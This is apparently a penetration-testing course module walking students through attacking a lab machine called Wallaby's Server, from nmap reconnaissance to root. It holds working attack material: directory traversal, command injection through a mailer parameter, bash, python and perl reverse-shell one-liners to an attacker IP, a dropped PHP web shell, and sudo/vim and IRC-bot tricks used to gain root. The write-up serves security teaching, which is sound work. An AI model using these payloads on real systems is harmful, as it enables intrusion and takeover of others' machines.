PRE-ENGAGEMENT ACTIONS

Description: Students will understand what steps need to be made before starting the penetration testing exercise

Requirements: N/A.

Step 1:

The following is an example or a very initial and small agreement you can sign:

https://itsecurity.uiowa.edu/sites/itsecurity.uiowa.edu/files/wysiwyg_uploads/penetrationtestingagreement.pdf

Step 2:

You can find several report templates in the following link:

https://github.com/juliocesarfort/public-pentesting-reports

Reconnaissance and Vulnerability identification

Description: Students will execute some commands to understand and use some reconnaissance and Vulnerability identification techniques

Requirements: Kali Linux and Any other virtual OS

Step 1:

We can start with a ping sweep:

```
nmap -n -sn 10.211.55.0/24 -oG - | awk '/Up$/{print $2}'
nmap -sV 10.211.55.15
```

It's always a good idea to hit all possible ports to find a low hanging fruit.

```
nmap -p- -T4 10.211.55.15
```

We can do the same for the UDP ports.

nmap -T4 -sU 10.211.55.15

Just to double check our results:

nmap -p22,80,6667 -sV 10.211.55.15

Step 2:

We can enumerate SSH. For that, we have the nmap scripts:

ls /usr/share/nmap/scripts/ssh — Hit tab

Or we can actually use metasploit:

use auxiliary/scanner/ssh/ — hit tab to see all the results.

use auxiliary/scanner/ssh/ssh_enumusers

Then set USERNAME.

As we know the version of the ssh service, we just go to ExploitDB and put that. We quickly find an enumeration exploit:

https://www.exploit-db.com/exploits/40136

We download it and we execute it with the following command:

python /root/Downloads/40136.py -U /usr/share/wordlists/metasploit/unix_users.txt 10.211.55.15

Step 3:

Then we can enumerate a little more the port 80:

dirb http://10.211.55.15/

nikto -h 10.211.55.15

Step 4:

If I check the source code of this new web page:

```
 method = method || "post"; // Set method to post by default if not specified.

  // The rest of this code assumes you are not using a library.
  // It can be made less wordy if you use one.
  var form = document.createElement("form");
  form.setAttribute("method", method);
  form.setAttribute("action", path);

  for(var key in params) {
    if(params.hasOwnProperty(key)) {
      var hiddenField = document.createElement("input");
      hiddenField.setAttribute("type", "hidden");
      hiddenField.setAttribute("name", key);
      hiddenField.setAttribute("value", params[key]);

      form.appendChild(hiddenField);
    }
```

```
    }

    document.body.appendChild(form);
    form.submit();
```

As we saw from our nikto execution, we can actually perform some directory traversal:

?page=../../../../../../../../../../etc/passwd

http://10.211.55.15:60080/?page=../../../../../../../../../../etc/passwd

As we have an entry point here, we can again use dirb

dirb http://10.211.55.15:60080/?page= /usr/share/wordlists/dirb/big.txt

The mailer page contains also te following source code:

```
Version:1.0 StartHTML:0000000100 EndHTML:0000002639 StartFragment:0000000100
EndFragment:0000002639
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);
```

```
    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

<h2 style='color:blue;'>Coming Soon guys!</h2>
    <!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
    <!--Better finish implementing this so  can send me all his loser complaints!-->
```

So there's a mail variable. So we try a simple command and hit the following URL:

http://10.211.55.15:60080/?page=mailer&mail=ls

Exploitation

Description: Students will execute some commands to exploit the vulnerabilities found in the previous lesson.

Requirements: Kali machine and any other virtual machine.

Step 1:

http://10.211.55.15:60080/?page=mailer&mail=ls

As this is our way it and we can actually execute commands, we can start by checking if we can throw a reverse shell via a bash command:

bash -i >& /dev/tcp/10.211.55.8/4444 0>&1

We can try if the encoded version can throw a reverse shell:

http://10.211.55.15:60080/?page=mailer&mail=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.211.55.8%2F4444%200%3E%261

No luck. Lets see if and what versions of python are installed:

http://10.211.55.15:60080/?page=mailer&mail=ls%20/usr/bin/pyt*

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.211.55.8”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Lets try again with the encoded version:

python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%E2%80%9C10.211.55.8%E2%80%9D%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27

No luck. Lets see if perl is installed:

http://10.211.55.15:60080/?page=mailer&mail=perl -v

Now lets see if we have any luck with Perl's reverse shell:

perl -e 'use Socket;$i="10.211.55.8";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Lets see if we have any luck with the encoded version:

http://10.211.55.15:60080/?page=mailer&mail=perl%20-e%20%27use%20Socket%3B%24i%3D%E2%80%9C10.211.55.8%E2%80%9D%3B%24p%3D4444%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27

No luck.

Step 2:

http://10.211.55.15:60080/?page=mailer&mail=ls

The ls command revealed the presence of a PHP file. This lead me to believe dropping a PHP shell was doable. Next I tried to find a way to drop a shell:

http://10.211.55.15:60080/?page=mailer&mail=wget --help

Support for wget found – dropping was doable.

So I copy our trusted php reverse shell:

cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/rvs.txt
nano /var/www/html/rvs.txt
$ip = '10.211.55.8';
$port = 4444;

Then I download it in our victim's machine with the following command:

10.211.55.15:60080/?page=mailer&mail=wget http://10.211.55.8/rvs.txt
10.211.55.15:60080/?page=mailer&mail=mv rvs.txt rvs.php

Then just double check that the exploit is actually there:

10.211.55.15:60080/?page=mailer&mail=ls

Then I just set my listener and hit the URL:

http://10.211.55.15:60080/rvs.php

Privilege Escalation

Description: Students will execute some commands to exploit the vulnerabilities found in the previous lessons to try to escalate privileges.

Requirements: Kali machine and any other virtual machine.

Step 1:

From previous videos, we saw several commands that we can apply to gather more information here. However, we will use the automated linuxprivchecker.py script.

As you can remember, we have this script already in our system.

So we move to the tmp folder and we download and execute that script:

cd /tmp

wget http://10.211.55.8/linuxpe.py

python linuxpe.py

Step 2:

From the [+] SUID/SGID Files and Directories

cat /usr/lib/openssh/ssh-keysign

We could try to login with the SSH service with the above key

/usr/bin/chsh - (an abbreviation of "change shell")

chsh -s /bin/bash

chsh -s /bin/bash fred

Set user fred's login shell to /bin/bash.

As you can imagine, you'll have to test every possible Privilege escalation avenue. Check packages, check services and basically apply all techniques we've seen so far.

Lets now check the firewall rules to see if we find something useful:

sudo /sbin/iptables -L

The current rule was that all external connections to IRC was to be dropped. So lets change that

Before:

ACCEPT tcp -- localhost anywhere tcp dpt:ircd

DROP tcp -- anywhere anywhere tcp dpt:ircd

sudo iptables -R INPUT 2 -p tcp --dport 6667 -j ACCEPT

After:

ACCEPT tcp -- localhost anywhere tcp dpt:ircd

ACCEPT tcp -- anywhere anywhere tcp dpt:ircd

The above command rewrote the second rule to allow TCP connections on port 6667.

Step 3:

With the IRC service opened, you can use tools like IRSSI. This is not installed by default, so you'll have to install that tool.

apt-get install irssi

I used IRSSI to connect to the service and for issuing the following commands:

1

2

3

irssi

/connect 10.211.55.15

/list

/j wallabyschat

Inside the channel wallabyschat I saw two other users. Going back to main window in IRSSI I did some reconnaissance on the users by using the following commands:

1

2

/whois waldo

/whois wallabysbot

wallabysbot is based on Sopel (ircname : Sopel: http://sopel.chat). Looking for this bot framework on the server:

cd /home

ls -al *

Sopel was found in Wallabys home folder and there was just one module available, a typical run script:

cd wallaby

cd .sopel

ls -al

cd modules

cat run.py

The script stated you had to be Waldo to run this script. As we also saw before, there's another script in Waldo's home.

cd /home/waldo/; ls

cat irssi.sh

I found that Waldo was using Tmux for his IRC needs. There's a problem in his setup. If Tmux went down, so would his IRC connection. From executing the linux privilege checker python command, I found that Waldo can edit a specific Apache file using Vim. Vim has got a neat feature that let you run commands. So we now kill his Tmux session using said feature in Vim. But first I had to find the Tmux process ID

who

waldo pts/0 Sep 26 15:39 (tmux(548).%0)

Step 4:

Then I had to spawn a tty shell so I could use Vim:

python -c 'import pty;pty.spawn("/bin/bash")'

Opening Vim:

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Connect to the chat again to see Waldo getting disconnected:

/j wallabyschat

Then issuing kill command using Vim:

1

[ESC]:!kill 548 [ENTER]

:!kill 548

Waldos IRC connection died:

Then I took over Waldos identity by just changing my nick:

1

/nick waldo

Next step was to trick the bot to open a reverse shell hoping it would be running as waldo.

First, I need to get out of the VIM editor:

esq +

Then, I had to set up yet another listener locally:

nc -nlvp 5555

Then I opened a reverse connection by using this gem in the .run command (inside the chat, “/j wallabyschat”):

.run bash -c 'bash -i >& /dev/tcp/10.211.55.8/5555 0>&1'

Check the permissions I have:

sudo -l

As I have all the permissions, now just switch to root:

sudo su.